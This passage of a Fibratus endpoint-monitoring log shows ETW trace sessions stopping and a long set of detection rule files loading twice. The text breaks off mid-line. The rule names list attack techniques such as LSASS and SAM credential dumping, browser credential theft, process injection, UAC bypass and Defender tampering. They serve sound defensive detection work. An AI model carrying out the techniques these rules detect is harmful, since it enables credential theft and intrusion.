msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:56:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:57:51+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:57:51+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:57:52+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:58:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:58:02+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:58:12+01:00 level=info msg=loading rule from 